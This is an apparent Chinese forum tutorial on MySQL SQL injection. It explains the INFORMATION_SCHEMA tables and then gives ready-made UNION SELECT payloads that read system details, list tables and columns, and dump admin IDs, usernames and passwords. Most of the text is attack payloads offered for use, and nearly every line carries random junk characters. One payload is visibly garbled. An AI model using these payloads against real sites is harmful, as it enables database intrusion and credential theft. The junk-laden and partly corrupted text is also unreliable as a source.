本文介绍MYSQL盲注的一些语句和方法) P1 _9 g/ w: C7 ~' u" ^
$ }4 ]; k% U$ `+ T! [
学习盲注前先了解下 IFORMATION_SCHEMA 库
# R- D# }" q4 ^/ K' ]
' q8 v2 o8 S4 w+ ?% w/ d6 IMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有' q3 D1 S: m! g" b2 \
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。0 g2 \2 \" \" |/ ~ {2 {6 d. h
1.得到所有数据库名:
: |8 O8 G# p* l0 }5 S4 K1 Y1 s|SCHEMATA ->存储数据库名的表% I- c; T. c, ~2 F% O
|---字段:SCHEMA_NAME ->数据库名称/ K3 ^" m* I7 X; `
+ I6 v' D, K4 h0 A6 J/ n
|TABLES ->存储表名
& N9 h9 K1 w& \" c, O. [' w9 J, R# v5 q|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
! F1 h1 n. \' Q I" t|---字段:TABLE_NAME ->存储表的表名. C! m1 K8 E$ z1 `: O5 n- M
' y0 E; |% W h% m
|COLUMNS ->存储的字段名表; g G8 b2 B. \7 Q7 i9 S/ M. [ E
|---字段:TABLE_SCHEMA ->该字段所属数据库名) v, T( g( T+ d
|---字段:TABLE_NAME ->存储所属表的名称
% u7 ?: s- m' J8 k6 H3 Q0 a! Q
( [& F1 p. U8 h3 o% G|---字段:COLUMN_NAME ->该字段的名称
8 ^8 b$ u$ H7 X6 D5 b
0 ]* w, l1 E1 S% `& ] # n+ G" W( C* d
3 a* _7 S, ~' G8 w) c% v
###########################################################################
: K4 D# t) _# O! J: A
! T% x7 Z( O0 U0x001 获取系统信息:
( A* A4 t. d( W k/ ?' a
, z. }8 _- m" R6 \# D4 e0 s) w# ^# bunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
% m* s! ~9 f) m5 J Y5 ~, i; t) z3 E% |* m
/*
; r$ H$ [; H4 `
4 n8 K' W4 c3 R( m7 C@@global.version_compile_os 获取系统版本" P- W( L# C5 e, k S! `6 H6 u
- H+ g6 t8 a0 o
@@datadir 数据库路径1 Z. h, X, y& K3 A' m
database() 当前数据库名称3 B s4 K% q2 o8 a
0x3c62723e 换行HEX值/ w# _. e- m* M( q8 j, Y' k. U% e- J
5 v/ K) S" p6 C
*/
* i7 y0 T- q; y+ g9 h; f
6 W6 m; b, q- y% O0 ]9 V: |4 c # b, _" Q/ W' l. q+ n; Y
+ ~4 l# u$ f5 m" q3 C) w/ _
######################################################################
: M8 F! @$ p4 E- L% v5 Z G% i4 n" m* T0 X( r
0x002 获取表名
: z0 Q% f* f" P0 G8 y$ ~8 s
1 |# J a' k& [( ?: T/ K, Dunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*; d. A( C6 {: r6 _1 |0 N) f% F
2 x" ]8 |0 Y% k* j, T
, S, _# g; x( G- B Z9 t# P# D
+ ~' o0 Q, i) I0 r# g2 l/*. K1 n% t a1 k8 A
2 h, f" w3 i* i- e
0x67617264656e 为当前数据库名
* E+ n p8 q) r" ]# I$ V6 o. c, x+ U2 t; a( @
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
7 J+ e1 z! W6 W( ]" ]- E0 c0 q
4 e9 x) {' [9 k5 Z4 ^6 x( |. s7 H*/5 `6 M. A; R; |( D* c0 F7 d
) `& [9 \) |6 }" P
######################################################################
4 b0 T+ Q6 k' z8 x6 o9 a/ V# A9 I& [6 Y% k0 _! `3 ^. A
6 o6 j0 Z7 R# U2 |7 w$ n. \$ V# C
. j+ q. [7 [ ^! f# C/ M0x003 获取字段
. v; ]5 {: }. g/ ~( J( i9 L$ i0 Q5 h% R) h. @. b
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*% T6 x$ k* I3 Y4 x4 Q0 P
5 T/ q0 q+ O4 l6 f; B1 ^+ J7 k6 y/*
0 P# v! Y5 A( O8 _+ F
4 r+ K* v/ f* }8 d; `; Ygroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段. [# Y. `8 m) r `' V7 E/ y1 Z
! A2 v% W% Q$ c2 N' z* i0x61646d696e ->选择一个表
- K) x# |7 N% Z" \, x2 i! c2 n L: \! k. k" C- M0 t
0x67617264656e ->数据库名4 g' p* Y, @1 ~
( E( P) U; }2 g! Y*/; j- j8 Z8 s# ]
& k+ U4 Z) Y' N$ b/ Q3 O4 [9 p/ C
#####################################################################4 o1 H' W1 z" U& y$ C% `
& [3 L7 h0 T6 d- c h
( ~! c6 `9 e0 d h4 ]$ q" L; ?. Z& Y& ~3 n* b
0x004 获取数据, _ ^8 {- C; s" u# ?
1 E1 I u9 Q1 v+ G- Qunion select 1,2,3
" B9 D4 t" L' g* j! D,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin) R. A. u; G4 A- ~' _& l
) K: `. V( `' Z, {, sunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin, q7 G) @7 I5 C. E! V7 ]4 `6 l1 f
* G- c2 U8 K4 E) z+ C5 u6 c4 M 1 [' B3 k m- B* ?, V
9 r% x$ l! j f0 ?; h! W/*% d% Y" }0 {# T# }. K+ k: P
. e6 g4 j2 A+ [6 I6 q) E
0x3c62723e 换行符号HEX编码( m- x( ^1 y& C g; C* z5 H; ^- [
# Z7 d" h# P# Ngroup_concat 同时获得该字段所有数据# K% |$ {: e6 ~7 b7 ^
1 ~0 {5 G" L. O9 X: x# Q*/
4 ?9 o: ^0 y5 G! ?) o
4 H) q" o. g' {0 s6 ~6 J* Q% D |